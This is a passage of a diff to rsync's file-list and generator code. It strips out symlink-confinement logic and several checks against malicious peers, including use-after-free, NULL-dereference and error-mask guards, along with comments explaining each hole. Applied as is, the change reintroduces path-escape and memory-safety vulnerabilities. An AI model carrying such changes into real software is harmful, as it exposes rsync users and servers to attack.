FLAG_MOD_NSEC;\n+\t\tF_MOD_NSEC(file) = st.ST_MTIME_NSEC;\n \t}\n #endif\n \tfile->len32 = (uint32)st.st_size;\n@@ -2055,7 +1629,6 @@ static struct file_struct *send_file_name(int f, struct file_list *flist,\n \t\t\tsx.st.st_mode = file->mode;\n \t\t\tif (get_acl(fname, &sx) < 0) {\n \t\t\t\tio_error |= IOERR_GENERAL;\n-\t\t\t\tfree_acl(&sx);\n \t\t\t\treturn NULL;\n \t\t\t}\n \t\t}\n@@ -2063,11 +1636,8 @@ static struct file_struct *send_file_name(int f, struct file_list *flist,\n #ifdef SUPPORT_XATTRS\n \t\tif (preserve_xattrs) {\n \t\t\tsx.st.st_mode = file->mode;\n-\t\t\tif (get_xattr(fname, -1, &sx) < 0) {\n+\t\t\tif (get_xattr(fname, &sx) < 0) {\n \t\t\t\tio_error |= IOERR_GENERAL;\n-#ifdef SUPPORT_ACLS\n-\t\t\t\tfree_acl(&sx); /* get_acl() above may have loaded one */\n-#endif\n \t\t\t\treturn NULL;\n \t\t\t}\n \t\t}\n@@ -2242,95 +1812,6 @@ static void interpret_stat_error(const char *fname, int is_dir)\n \t}\n }\n \n-#if defined HAVE_FDOPENDIR && defined HAVE_DIRFD\n-/* Open a source directory for scanning under the applicable source authority.\n- * secure_relative_open() does a per-component O_NOFOLLOW walk that refuses a\n- * parent component raced into a symlink pointing out of the tree; fdopendir()\n- * then turns the held fd into the DIR* the scan reads.  This mirrors the\n- * sender's confined content open (sender.c): the directory enumeration must be\n- * confined the same way, or a parent-symlink race (or, for a daemon following\n- * mode, an in-module symlink to outside) lets the scan enumerate an out-of-tree\n- * directory and leak its names/metadata/symlink targets.  O_DIRECTORY without\n- * O_NOFOLLOW makes secure_relative_open() follow in-tree directory symlinks\n- * beneath the anchor and refuse escapes, so this serves both the default\n- * no-follow scan and a daemon's symlink-following scan (see the caller).\n- * Files-from entries instead use the ownership walk: their source base is\n- * operator-selected, but each list entry may not be, so only trusted-owned\n- * symlinks are followed and a trusted link may retain its legacy target.\n- * Returns NULL with errno set on failure, like opendir(). */\n-static DIR *secure_opendir(const char *fbuf)\n-{\n-\tint dfd, fl, matched;\n-\tint dir_flags = O_RDONLY;\n-\tDIR *d;\n-\n-#ifdef O_DIRECTORY\n-\tdir_flags |= O_DIRECTORY;\n-#elif defined O_NONBLOCK\n-\t/* Avoid blocking on a raced special file before fdopendir validates it. */\n-\tdir_flags |= O_NONBLOCK;\n-#endif\n-\tif (filesfrom_owner_walk_active()) {\n-\t\t/* The source base is operator-selected, while each list entry may not\n-\t\t * be. Follow only trusted-owned symlinks while opening the directory. */\n-\t\tdfd = open_no_attacker_symlinks(fbuf, dir_flags, 0);\n-\t} else if (!am_daemon && am_sender\n-\t && (dfd = open_sender_source_path(fbuf, dir_flags, &matched), matched)) {\n-\t\t/* The command-line directory is the operator-selected transfer root.\n-\t\t * Follow that root, then keep every recursive scan beneath its held fd. */\n-\t} else if (am_daemon && (!am_chrooted || module_dirlen)\n-\t && module_dir && module_dir[0] == '/' && *fbuf != '/' && module_dirfd >= 0\n-\t && curr_dir_len >= module_dirlen\n-\t && strncmp(curr_dir, module_dir, module_dirlen) == 0\n-\t && (curr_dir[module_dirlen] == '\\0' || curr_dir[module_dirlen] == '/')) {\n-\t\t/* Daemon: anchor the confined scan at the module root pinned by identity\n-\t\t * at module setup (module_dirfd, opened while the daemon was positioned\n-\t\t * there and still privileged), and walk the module-relative path of the\n-\t\t * scan target beneath it.  This re-follows the same in-module path -- so a\n-\t\t * legitimate in-module \"..\" climb (sub/climb -> ../sibling) or an in-module\n-\t\t * directory symlink is followed, and an escape refused -- without\n-\t\t * re-walking the absolute module path as the dropped uid (the privilege-\n-\t\t * drop EACCES), and without assuming the lexical curr_dir depth matches the\n-\t\t * real cwd (a followed in-module symlink can desync them; anchoring at the\n-\t\t * pinned module root and walking down the logical path is correct either\n-\t\t * way). */\n-\t\tconst char *p = curr_dir + module_dirlen;\n-\t\tchar modrel[MAXPATHLEN];\n-\t\twhile (*p == '/')\n-\t\t\tp++;\n-\t\tif ((size_t)snprintf(modrel, sizeof modrel, \"%s%s%s\",\n-\t\t\t\t     p, *p ? \"/\" : \"\", fbuf) >= sizeof modrel) {\n-\t\t\terrno = ENAMETOOLONG;\n-\t\t\treturn NULL;\n-\t\t}\n-\t\tdfd = secure_relative_open_at(module_dirfd, *modrel ? modrel : \".\",\n-\t\t\t\t\t      dir_flags, 0);\n-\t} else if (*fbuf == '/') {\n-\t\t/* An absolute scan path (an absolute --relative / --files-from name, or a\n-\t\t * \"/\" transfer root): anchor at \"/\" -- operator-named, trusted. */\n-\t\tconst char *relp = fbuf;\n-\t\twhile (*relp == '/')\n-\t\t\trelp++;\n-\t\tdfd = secure_relative_open(\"/\", relp, dir_flags, 0);\n-\t} else {\n-\t\t/* Non-daemon (or chrooted) sender: confine beneath the cwd the sender\n-\t\t * chdir'd into (the transfer root). */\n-\t\tdfd = secure_relative_open(NULL, fbuf, dir_flags, 0);\n-\t}\n-\n-\tif (dfd < 0)\n-\t\treturn NULL;\n-\tif ((fl = fcntl(dfd, F_GETFD)) >= 0)\n-\t\tfcntl(dfd, F_SETFD, fl | FD_CLOEXEC);\n-\tif (!(d = fdopendir(dfd))) {\n-\t\tint save = errno;\n-\t\tclose(dfd);\n-\t\terrno = save;\n-\t}\n-\treturn d;\n-}\n-#endif\n-\n /* This function is normally called by the sender, but the receiving side also\n  * calls it from get_dirlist() with f set to -1 so that we just construct the\n  * file list in memory without sending it over the wire.  Also, get_dirlist()\n@@ -2349,31 +1830,7 @@ static void send_directory(int f, struct file_list *flist, char *fbuf, int len,\n \n \tassert(flist != NULL);\n \n-#if defined HAVE_FDOPENDIR && defined HAVE_DIRFD\n-\t/* Confine the enumeration beneath the transfer root.  secure_opendir()\n-\t * follows in-tree directory symlinks (RESOLVE_BENEATH) and refuses one that\n-\t * escapes, so it serves both modes:\n-\t *   - a daemon/hardened sender (secure_relpath_active()) is confined to the\n-\t *     module in EVERY mode -- including -L/--copy-dirlinks/--copy-unsafe-\n-\t *     links, matching the content open (sender_open_copylinks_confined) --\n-\t *     so a following mode cannot be lured to enumerate outside the module;\n-\t *   - a non-daemon sender is confined in the default no-follow mode; its\n-\t *     symlink-following modes intentionally dereference out of the\n-\t *     operator's own tree, so they keep the legacy opendir().\n-\t * f >= 0 is the sender's outgoing scan; get_dirlist() passes f < 0 and keeps\n-\t * the legacy opendir().  A module opted out of confinement (\"insecure links =\n-\t * yes\", admin-only) -- or a non-daemon --insecure-links -- uses the legacy\n-\t * opendir() too, restoring the pre-hardening enumeration (re-opening the\n-\t * escape; documented). */\n-\tif (f >= 0 && !symlink_optout_allowed() && (secure_relpath_active()\n-\t\t    || !(copy_links || copy_unsafe_links || copy_dirlinks || insecure_links)))\n-\t\td = secure_opendir(fbuf);\n-\telse\n-\t\td = opendir(fbuf);\n-#else\n-\td = opendir(fbuf);\n-#endif\n-\tif (!d) {\n+\tif (!(d = opendir(fbuf))) {\n \t\tif (errno == ENOENT) {\n \t\t\tif (am_sender) /* Can abuse this for vanished error w/ENOENT: */\n \t\t\t\tinterpret_stat_error(fbuf, True);\n@@ -2396,14 +1853,6 @@ static void send_directory(int f, struct file_list *flist, char *fbuf, int len,\n \t} else\n \t\tremainder = 0;\n \n-#ifdef HAVE_DIRFD\n-\t/* Let the per-entry stat (readlink_stat -> scan_link_stat) go through the\n-\t * already-open directory fd instead of re-resolving fbuf for each name. */\n-\tscan_dirfd = dirfd(d);\n-\tscan_dir_prefix = fbuf;\n-\tscan_dir_prefix_len = len;\n-#endif\n-\n \tfor (errno = 0, di = readdir(d); di; errno = 0, di = readdir(d)) {\n \t\tunsigned name_len;\n \t\tchar *dname = d_name(di);\n@@ -2432,9 +1881,6 @@ static void send_directory(int f, struct file_list *flist, char *fbuf, int len,\n \t\tsend_file_name(f, flist, fbuf, NULL, flags, filter_level);\n \t}\n \n-\tscan_dirfd = -1;\t/* fbuf is about to be reused / d closed */\n-\tscan_dir_prefix = NULL;\t/* and don't leave the global pointing into fbuf */\n-\tscan_dir_prefix_len = 0;\n \tfbuf[len] = '\\0';\n \n \tif (errno) {\n@@ -2498,11 +1944,8 @@ static void send_implied_dirs(int f, struct file_list *flist, char *fname,\n \tif (need_new_dir) {\n \t\tint save_copy_links = copy_links;\n \t\tint save_xfer_dirs = xfer_dirs;\n-\t\tint save_filesfrom_owner_walk = filesfrom_owner_walk_override;\n \t\tchar *slash;\n \n-\t\tif (filesfrom_owner_walk_active())\n-\t\t\tfilesfrom_owner_walk_override = 1;\n \t\tcopy_links = xfer_dirs = 1;\n \n \t\t*limit = '\\0';\n@@ -2531,7 +1974,6 @@ static void send_implied_dirs(int f, struct file_list *flist, char *fname,\n \n \t\tcopy_links = save_copy_links;\n \t\txfer_dirs = save_xfer_dirs;\n-\t\tfilesfrom_owner_walk_override = save_filesfrom_owner_walk;\n \n \t\tif (!inc_recurse)\n \t\t\tgoto done;\n@@ -2572,8 +2014,7 @@ static void send1extra(int f, struct file_struct *file, struct file_list *flist)\n \tint len, dlen, flags = FLAG_DIVERT_DIRS | FLAG_CONTENT_DIR;\n \tsize_t j;\n \n-\tif (!f_name(file, fbuf))\n-\t\treturn;\n+\tf_name(file, fbuf);\n \tdlen = strlen(fbuf);\n \n \tif (!change_pathname(file, NULL, 0))\n@@ -2584,7 +2025,7 @@ static void send1extra(int f, struct file_struct *file, struct file_list *flist)\n \tif (file->flags & FLAG_CONTENT_DIR) {\n \t\tif (one_file_system) {\n \t\t\tSTRUCT_STAT st;\n-\t\t\tif (scan_link_stat(fbuf, &st, copy_dirlinks) != 0) {\n+\t\t\tif (link_stat(fbuf, &st, copy_dirlinks) != 0) {\n \t\t\t\tinterpret_stat_error(fbuf, True);\n \t\t\t\treturn;\n \t\t\t}\n@@ -2618,9 +2059,10 @@ static void send1extra(int f, struct file_struct *file, struct file_list *flist)\n \t\t}\n \n \t\tif (name_type != NORMAL_NAME) {\n-\t\t\tSTRUCT_STAT st = {0};\n-\n-\t\t\tif (name_type != MISSING_NAME && scan_link_stat(fbuf, &st, 1) != 0) {\n+\t\t\tSTRUCT_STAT st;\n+\t\t\tif (name_type == MISSING_NAME)\n+\t\t\t\tmemset(&st, 0, sizeof st);\n+\t\t\telse if (link_stat(fbuf, &st, 1) != 0) {\n \t\t\t\tinterpret_stat_error(fbuf, True);\n \t\t\t\tcontinue;\n \t\t\t}\n@@ -2752,7 +2194,7 @@ struct file_list *send_file_list(int f, int argc, char *argv[])\n \tstatic const char *lastdir;\n \tstatic int lastdir_len = -1;\n \tint len, dirlen;\n-\tSTRUCT_STAT st = {0};\n+\tSTRUCT_STAT st;\n \tchar *p, *dir;\n \tstruct file_list *flist;\n \tstruct timeval start_tv, end_tv;\n@@ -2945,7 +2387,7 @@ struct file_list *send_file_list(int f, int argc, char *argv[])\n \t\tif (fn != fbuf)\n \t\t\tmemmove(fbuf, fn, len + 1);\n \n-\t\tif (scan_link_stat(fbuf, &st, copy_dirlinks || name_type != NORMAL_NAME) != 0\n+\t\tif (link_stat(fbuf, &st, copy_dirlinks || name_type != NORMAL_NAME) != 0\n \t\t || (name_type != DOTDIR_NAME && is_excluded(fbuf, S_ISDIR(st.st_mode) != 0, SERVER_FILTERS))\n \t\t || (relative_paths && path_is_daemon_excluded(fbuf, 1))) {\n \t\t\tif (errno != ENOENT || missing_args == 0) {\n@@ -2975,9 +2417,6 @@ struct file_list *send_file_list(int f, int argc, char *argv[])\n \t\t\trprintf(FINFO, \"skipping directory %s\\n\", fbuf);\n \t\t\tcontinue;\n \t\t}\n-\t\tif (!am_daemon && !use_ff_fd && st.st_mode != 0\n-\t\t && (relative_paths || S_ISDIR(st.st_mode)))\n-\t\t\tremember_sender_source_arg(fbuf, &st);\n \n \t\tif (inc_recurse && relative_paths && *fbuf) {\n \t\t\tif ((p = strchr(fbuf+1, '/')) != NULL) {\n@@ -3146,33 +2585,11 @@ struct file_list *recv_file_list(int f, int dir_ndx)\n #endif\n \n \tif (inc_recurse && dir_ndx >= 0) {\n-\t\tif (!first_flist) {\n-\t\t\t/* All flists have already been freed via the NDX_DONE\n-\t\t\t * chain, so dir_flist is stale: its files[] entries\n-\t\t\t * point into a destroyed pool.  A sub-flist marker now\n-\t\t\t * is a protocol violation (and would otherwise UAF the\n-\t\t\t * stale dir entry below, then deref an uninitialised\n-\t\t\t * slot in the freshly reset dir_flist further down). */\n-\t\t\trprintf(FERROR_XFER,\n-\t\t\t\t\"rsync: refusing sub-flist after final flist was freed\\n\");\n-\t\t\texit_cleanup(RERR_PROTOCOL);\n-\t\t}\n \t\tif (dir_ndx >= dir_flist->used) {\n \t\t\trprintf(FERROR_XFER, \"rsync: refusing invalid dir_ndx %u >= %u\\n\", dir_ndx, dir_flist->used);\n \t\t\texit_cleanup(RERR_PROTOCOL);\n \t\t}\n \t\tstruct file_struct *file = dir_flist->files[dir_ndx];\n-\t\tif (!F_IS_ACTIVE(file)) {\n-\t\t\t/* flist_sort_and_clean() can clear_file() a directory\n-\t\t\t * entry that was a duplicate or otherwise pruned, but\n-\t\t\t * the cleared file_struct stays in dir_flist.  A peer\n-\t\t\t * that then sends a sub-flist for that slot would make\n-\t\t\t * f_name() return NULL into the dirname strcmp() below. */\n-\t\t\trprintf(FERROR_XFER,\n-\t\t\t\t\"rsync: refusing flist for cleared dir_ndx %d\\n\",\n-\t\t\t\tdir_ndx);\n-\t\t\texit_cleanup(RERR_PROTOCOL);\n-\t\t}\n \t\tif (file->flags & FLAG_GOT_DIR_FLIST) {\n \t\t\trprintf(FERROR_XFER, \"rsync: refusing malicious duplicate flist for dir %d\\n\", dir_ndx);\n \t\t\texit_cleanup(RERR_PROTOCOL);\n@@ -3201,7 +2618,7 @@ struct file_list *recv_file_list(int f, int dir_ndx)\n \t\t\tif ((flags = read_varint(f)) == 0) {\n \t\t\t\tint err = read_varint(f);\n \t\t\t\tif (!ignore_errors)\n-\t\t\t\t\tio_error |= err & IOERR_VALID_MASK;\n+\t\t\t\t\tio_error |= err;\n \t\t\t\tbreak;\n \t\t\t}\n \t\t} else {\n@@ -3219,7 +2636,7 @@ struct file_list *recv_file_list(int f, int dir_ndx)\n \t\t\t\t}\n \t\t\t\terr = read_varint(f);\n \t\t\t\tif (!ignore_errors)\n-\t\t\t\t\tio_error |= err & IOERR_VALID_MASK;\n+\t\t\t\t\tio_error |= err;\n \t\t\t\tbreak;\n \t\t\t}\n \t\t}\n@@ -3234,7 +2651,7 @@ struct file_list *recv_file_list(int f, int dir_ndx)\n \t\t\t\tcur_dir++;\n \t\t\tif (cur_dir != good_dirname) {\n \t\t\t\tconst char *d = dir_ndx >= 0 ? f_name(dir_flist->files[dir_ndx], NULL) : empty_dir;\n-\t\t\t\tif (!d || strcmp(cur_dir, d) != 0) {\n+\t\t\t\tif (strcmp(cur_dir, d) != 0) {\n \t\t\t\t\trprintf(FERROR,\n \t\t\t\t\t\t\"ABORTING due to invalid path from sender: %s/%s\\n\",\n \t\t\t\t\t\tcur_dir, file->basename);\n@@ -3322,17 +2739,9 @@ struct file_list *recv_file_list(int f, int dir_ndx)\n \t\t/* Recv the io_error flag */\n \t\tint err = read_int(f);\n \t\tif (!ignore_errors)\n-\t\t\tio_error |= err & IOERR_VALID_MASK;\n+\t\t\tio_error |= err;\n \t} else if (inc_recurse && flist->ndx_start == 1) {\n-\t\t/* The first inc_recurse flist has no parent in dir_flist; a\n-\t\t * malicious peer can send a \".\" entry whose mode is not a\n-\t\t * directory, so it never lands in dir_flist (used stays 0) yet\n-\t\t * the basename test below still passes.  That left parent_ndx at\n-\t\t * its default 0 and the consumers dereferenced dir_flist->files[0]\n-\t\t * = uninitialised heap.  Require dir_flist to actually hold an\n-\t\t * entry before trusting index 0. */\n-\t\tif (!file_total || !dir_flist->used\n-\t\t || strcmp(flist->sorted[flist->low]->basename, \".\") != 0)\n+\t\tif (!file_total || strcmp(flist->sorted[flist->low]->basename, \".\") != 0)\n \t\t\tflist->parent_ndx = -1;\n \t}\n \n@@ -3758,8 +3167,8 @@ static void output_flist(struct file_list *flist)\n \t\t} else\n \t\t\t*uidbuf = '\\0';\n \t\tif (gid_ndx) {\n-\t\t\tstatic const char parens[] = \"(\\0)\\0\\0\\0\";\n-\t\t\tconst char *pp = parens + (file->flags & FLAG_SKIP_GROUP ? 0 : 3);\n+\t\t\tstatic char parens[] = \"(\\0)\\0\\0\\0\";\n+\t\t\tchar *pp = parens + (file->flags & FLAG_SKIP_GROUP ? 0 : 3);\n \t\t\tsnprintf(gidbuf, sizeof gidbuf, \" gid=%s%u%s\",\n \t\t\t\t pp, F_GROUP(file), pp + 2);\n \t\t} else\ndiff --git a/generator.c b/generator.c\nindex 1a68370..b56fa56 100644\n--- a/generator.c\n+++ b/generator.c\n@@ -29,7 +29,6 @@ extern int do_xfers;\n extern int stdout_format_has_i;\n extern int logfile_format_has_i;\n extern int am_root;\n-extern int operator_path_resolve;\n extern int am_server;\n extern int am_daemon;\n extern int inc_recurse;\n@@ -42,7 +41,6 @@ extern int preserve_xattrs;\n extern int preserve_links;\n extern int preserve_devices;\n extern int preserve_specials;\n-extern int drop_devices;\n extern int preserve_hard_links;\n extern int preserve_executability;\n extern int preserve_perms;\n@@ -58,7 +56,6 @@ extern int msgdone_cnt;\n extern int ignore_errors;\n extern int remove_source_files;\n extern int delay_updates;\n-extern int delay_symlinks;\n extern int update_only;\n extern int human_readable;\n extern int ignore_existing;\n@@ -69,7 +66,6 @@ extern int inplace;\n extern int append_mode;\n extern int make_backups;\n extern int csum_length;\n-extern int xfer_sum_len;\n extern int ignore_times;\n extern int size_only;\n extern OFF_T max_size;\n@@ -118,48 +114,14 @@ static int need_retouch_dir_times;\n static int need_retouch_dir_perms;\n static const char *solo_file = NULL;\n \n-/* With --delay-symlinks, new and changed symlinks are deferred here and created\n- * only after the receiver has put every file into place (including any\n- * --delay-updates renames).  Each entry keeps what recv_generator() needs to\n- * itemize and log the link once it has been created. */\n-struct deferred_symlink {\n-\tstruct file_struct *file;\n-\tint ndx;\n-\tchar *fname;\n-\tint itemizing;\n-\tenum logcode code;\n-};\n-static int defer_symlinks;\n-static item_list deferred_symlinks = EMPTY_ITEM_LIST;\n-\n-#ifdef SUPPORT_LINKS\n-static void defer_symlink(struct file_struct *file, int ndx, const char *fname,\n-\t\t\t  int itemizing, enum logcode code)\n-{\n-\tstruct deferred_symlink *ds\n-\t    = EXPAND_ITEM_LIST(&deferred_symlinks, struct deferred_symlink, 100);\n-\n-\tds->file = file;\n-\tds->ndx = ndx;\n-\tif (!(ds->fname = strdup(fname)))\n-\t\tout_of_memory(\"defer_symlink\");\n-\tds->itemizing = itemizing;\n-\tds->code = code;\n-}\n-#endif\n-\n /* Forward declarations. */\n #ifdef SUPPORT_HARD_LINKS\n static void handle_skipped_hlink(struct file_struct *file, int itemizing,\n \t\t\t\t enum logcode code, int f_out);\n #endif\n \n-/* Deferred symlinks are created and itemized in the delay-updates phase, so\n- * that phase must not be ended early either, and the deletion stats must wait\n- * for any directory that a deferred symlink replaces. */\n-#define EARLY_DELAY_DONE_MSG() (!delay_updates && !defer_symlinks)\n-#define EARLY_DELETE_DONE_MSG() \\\n-\t(!(delete_during == 2 || delete_after || defer_symlinks))\n+#define EARLY_DELAY_DONE_MSG() (!delay_updates)\n+#define EARLY_DELETE_DONE_MSG() (!(delete_during == 2 || delete_after))\n \n static int start_delete_delay_temp(void)\n {\n@@ -267,18 +229,12 @@ static int read_delay_line(char *buf, int *flags_p)\n \t\t*flags_p = 0;\n \n \tif (sscanf(bp, \"%x \", &mode) != 1) {\n-\t\tgoto invalid_data;\n-\t}\n-\tpast_space = strchr(bp, ' ');\n-\tif (!past_space) {\n-\t\tgoto invalid_data;\n-\t}\n-\tpast_space++;\n-\t/* Name length + NUL.  Computed from past_space directly: the old\n-\t * `j - read_pos - (past_space - bp)` form was off by +1 when a '!'\n-\t * prefix had advanced bp past read_pos, over-reading deldelay_buf\n-\t * by one byte on a buffer-filling final entry. */\n-\tlen = (deldelay_buf + j) - past_space + 1;\n+\t  invalid_data:\n+\t\trprintf(FERROR, \"ERROR: invalid data in delete-delay file.\\n\");\n+\t\treturn -1;\n+\t}\n+\tpast_space = strchr(bp, ' ') + 1;\n+\tlen = j - read_pos - (past_space - bp) + 1; /* count the '\\0' */\n \tread_pos = j + 1;\n \n \tif (len > MAXPATHLEN) {\n@@ -291,10 +247,6 @@ static int read_delay_line(char *buf, int *flags_p)\n \tmemcpy(buf, past_space, len);\n \n \treturn mode;\n-\n-invalid_data:\n-\trprintf(FERROR, \"ERROR: invalid data in delete-delay file.\\n\");\n-\treturn -1;\n }\n \n static void do_delayed_deletions(char *delbuf)\n@@ -430,10 +382,8 @@ static void do_delete_pass(void)\n \t}\n \tdelete_in_dir(NULL, NULL, dev_zero);\n \n-\tif (INFO_GTE(FLIST, 2) && !am_server) {\n-\t\trprintf(FINFO, \"                    \");\n-\t\trput_progress();\n-\t}\n+\tif (INFO_GTE(FLIST, 2) && !am_server)\n+\t\trprintf(FINFO, \"                    \\r\");\n }\n \n static inline int mtime_differs(STRUCT_STAT *stp, struct file_struct *file)\n@@ -499,7 +449,7 @@ static inline int xattrs_differ(const char *fname, struct file_struct *file, sta\n {\n \tif (preserve_xattrs) {\n \t\tif (!XATTR_READY(*sxp))\n-\t\t\tget_xattr(fname, -1, sxp);\n+\t\t\tget_xattr(fname, sxp);\n \t\tif (xattr_diff(file, sxp, 0))\n \t\t\treturn 1;\n \t}\n@@ -608,7 +558,7 @@ void itemize(const char *fnamecmp, struct file_struct *file, int ndx, int statre\n #ifdef SUPPORT_XATTRS\n \t\tif (preserve_xattrs) {\n \t\t\tif (!XATTR_READY(*sxp))\n-\t\t\t\tget_xattr(fnamecmp, -1, sxp);\n+\t\t\t\tget_xattr(fnamecmp, sxp);\n \t\t\tif (xattr_diff(file, sxp, 1))\n \t\t\t\tiflags |= ITEM_REPORT_XATTR;\n \t\t}\n@@ -741,11 +691,6 @@ static void sum_sizes_sqroot(struct sum_struct *sum, int64 len)\n {\n \tint32 blength;\n \tint s2length;\n-\t/* The strong sum can be no longer than the negotiated checksum digest:\n-\t * a short checksum (e.g. xxh64 = 8 bytes, when xxh128/xxh3 are absent)\n-\t * makes xfer_sum_len < SUM_LENGTH, and the sender rejects an s2length\n-\t * larger than xfer_sum_len (io.c). */\n-\tint max_s2length = MIN(SUM_LENGTH, xfer_sum_len);\n \tint64 l;\n \n \tif (len < 0) {\n@@ -761,7 +706,8 @@ static void sum_sizes_sqroot(struct sum_struct *sum, int64 len)\n \telse {\n \t\tint32 max_blength = protocol_version < 30 ? OLD_MAX_BLOCK_SIZE : MAX_BLOCK_SIZE;\n \t\tint32 c;\n-\t\tfor (c = 1, l = len; l >>= 2; c <<= 1) {}\n+\t\tint cnt;\n+\t\tfor (c = 1, l = len, cnt = 0; l >>= 2; c <<= 1, cnt++) {}\n \t\tif (c < 0 || c >= max_blength)\n \t\t\tblength = max_blength;\n \t\telse {\n@@ -779,7 +725,7 @@ static void sum_sizes_sqroot(struct sum_struct *sum, int64 len)\n \tif (protocol_version < 27) {\n \t\ts2length = csum_length;\n \t} else if (csum_length == SUM_LENGTH) {\n-\t\ts2length = max_s2length;\n+\t\ts2length = SUM_LENGTH;\n \t} else {\n \t\tint32 c;\n \t\tint b = BLOCKSUM_BIAS;\n@@ -788,7 +734,7 @@ static void sum_sizes_sqroot(struct sum_struct *sum, int64 len)\n \t\t/* add a bit, subtract rollsum, round up. */\n \t\ts2length = (b + 1 - 32 + 7) / 8; /* --optimize in compiler-- */\n \t\ts2length = MAX(s2length, csum_length);\n-\t\ts2length = MIN(s2length, max_s2length);\n+\t\ts2length = MIN(s2length, SUM_LENGTH);\n \t}\n \n \tsum->flength\t= len;\n@@ -974,10 +920,8 @@ static int copy_altdest_file(const char *src, const char *dest, struct file_stru\n \t\t\trsyserr(FINFO, errno, \"copy_file %s => %s\",\n \t\t\t\tfull_fname(src), copy_to);\n \t\t}\n-\t\t/* Try to clean up.  copy_to's parent components are peer-named\n-\t\t * and can be raced to a symlink, so resolve each with O_NOFOLLOW\n-\t\t * via do_unlink_at() like the other generator-side unlinks. */\n-\t\tdo_unlink_at(copy_to);\n+\t\t/* Try to clean up. */\n+\t\tunlink(copy_to);\n \t\tcleanup_disable();\n \t\treturn -1;\n \t}\n@@ -989,118 +933,6 @@ static int copy_altdest_file(const char *src, const char *dest, struct file_stru\n \treturn ok ? 0 : -1;\n }\n \n-/* Stat an alternate-basis candidate (basis_dir[j]/fname) for a daemon /./\n- * inner-module chroot through the secure resolver, so a --compare/copy/link-dest\n- * basis can't reach outside the inner module via a symlinked parent (the kernel\n- * chroot confines only the outer path).  secure_relative_open() refuses a parent\n- * that escapes beneath the module root.  Plain link_stat() everywhere else --\n- * the non-chroot daemon sanitizes basis paths already, and a local receiver must\n- * still follow an operator's --link-dest=../backup. */\n-static int basis_link_stat(const char *path, STRUCT_STAT *stp)\n-{\n-\textern int am_chrooted;\n-\textern unsigned int module_dirlen;\n-#if defined AT_FDCWD && defined O_NOFOLLOW && defined O_DIRECTORY\n-\textern int operator_path_resolve;\n-\t/* The basis dir (--link-dest/--compare-dest/--copy-dest) is an operator-\n-\t * supplied path.  For a non-daemon receiver, resolve it with the ownership\n-\t * walk: a symlink component owned by uid 0 or the euid (the operator's own\n-\t * basis dir, e.g. --link-dest=/var/backups) is followed, a foreign-owned one\n-\t * is refused -- absolute and relative alike.  Refusing it makes the basis\n-\t * look absent, so the file transfers normally instead of being read/linked/\n-\t * skipped through an attacker's symlink.  --insecure-links restores legacy\n-\t * following; a daemon keeps its stronger confinement (chroot / secure\n-\t * resolver) below.  Only when am_root >= 0: link_stat_at() omits the\n-\t * fake-super %stat xattr that link_stat() folds in, so --fake-super keeps\n-\t * the plain path (a lower-severity, non-root basis lookup). */\n-\tif (!am_daemon && am_root >= 0 && !symlink_optout_allowed()) {\n-\t\tconst char *leaf;\n-\t\tint dfd = owner_walk_parent(path, &leaf);\n-\t\tint r, e;\n-\t\tif (dfd < 0)\n-\t\t\treturn -1;\n-\t\tr = link_stat_at(dfd, leaf, stp, 0);\n-\t\te = errno;\n-\t\tclose(dfd);\n-\t\terrno = e;\n-\t\treturn r;\n-\t}\n-\t/* A non-chroot daemon serving an operator/peer alt-dest basis: resolve through\n-\t * the ownership walk with module-ROOT confinement (operator_path_resolve) so an\n-\t * in-module symlink whose target lands OUTSIDE the module is refused -- the\n-\t * basis then looks absent and the file transfers normally instead of being\n-\t * stat'd/read/linked through the link (closes the --compare-dest=/E read\n-\t * oracle).  \"insecure links = yes\" falls through to the legacy link_stat()\n-\t * below, restoring 3.2.7 following.  Only an ABSOLUTE basis (rooted under the\n-\t * module by check_alt_basis_dirs, so it can reach an in-module symlink) is\n-\t * confined here; a RELATIVE basis (--link-dest=../01) is a dest-relative\n-\t * sibling whose \"../\" is already clamped to the module root by sanitize_path,\n-\t * and must keep the plain link_stat below (#915/#930).  The leaf is taken\n-\t * under the confined parent with O_NOFOLLOW/AT_SYMLINK_NOFOLLOW, so\n-\t * --copy-links can't follow a leaf symlink out of the module. */\n-\tif (am_daemon && !am_chrooted && path[0] == '/' && !symlink_optout_allowed()) {\n-\t\tconst char *leaf;\n-\t\tint dfd, e, save = operator_path_resolve;\n-\t\toperator_path_resolve = 1;\n-\t\tdfd = owner_walk_parent(path, &leaf);\n-\t\toperator_path_resolve = save;\n-\t\tif (dfd < 0)\n-\t\t\treturn -1;\n-\t\tif (am_root >= 0) {\n-\t\t\tint r = do_lstat_atfd(dfd, leaf, stp);\n-\t\t\te = errno;\n-\t\t\tclose(dfd);\n-\t\t\terrno = e;\n-\t\t\treturn r;\n-\t\t}\n-#ifdef SUPPORT_XATTRS\n-\t\t{\n-\t\t\t/* --fake-super: O_NOFOLLOW-open the held leaf (the daemon owns its\n-\t\t\t * fake-super files) so the %stat xattr link_stat() would fold is\n-\t\t\t * preserved while a leaf symlink is still refused. */\n-\t\t\tint lfd = do_open_atfd(dfd, leaf, O_RDONLY | O_NOFOLLOW | O_NONBLOCK, 0);\n-\t\t\tSTRUCT_STAT xst;\n-\t\t\te = errno;\n-\t\t\tclose(dfd);\n-\t\t\tif (lfd < 0) { errno = e; return -1; }\n-\t\t\tif (do_fstat(lfd, stp) < 0) { e = errno; close(lfd); errno = e; return -1; }\n-\t\t\tif (get_stat_xattr(NULL, lfd, stp, &xst) == 0)\n-\t\t\t\t*stp = xst;\n-\t\t\tclose(lfd);\n-\t\t\treturn 0;\n-\t\t}\n-#else\n-\t\t{\n-\t\t\tint r = do_lstat_atfd(dfd, leaf, stp);\n-\t\t\te = errno;\n-\t\t\tclose(dfd);\n-\t\t\terrno = e;\n-\t\t\treturn r;\n-\t\t}\n-#endif\n-\t}\n-#endif\n-\tif (am_daemon && am_chrooted && module_dirlen && path[0] != '/' && !symlink_optout_allowed()) {\n-\t\tconst char *slash = strrchr(path, '/');\n-\t\tif (slash) {\n-\t\t\tchar dir[MAXPATHLEN];\n-\t\t\tsize_t dlen = (size_t)(slash - path);\n-\t\t\tint dfd, r, e;\n-\t\t\tif (dlen >= sizeof dir) { errno = ENAMETOOLONG; return -1; }\n-\t\t\tmemcpy(dir, path, dlen);\n-\t\t\tdir[dlen] = '\\0';\n-\t\t\tif ((dfd = secure_relative_dirfd(NULL, dir)) < 0)\n-\t\t\t\treturn -1;\n-\t\t\tr = link_stat_at(dfd, slash + 1, stp, 0);\n-\t\t\te = errno;\n-\t\t\tclose(dfd);\n-\t\t\terrno = e;\n-\t\t\treturn r;\n-\t\t}\n-\t}\n-\treturn link_stat(path, stp, 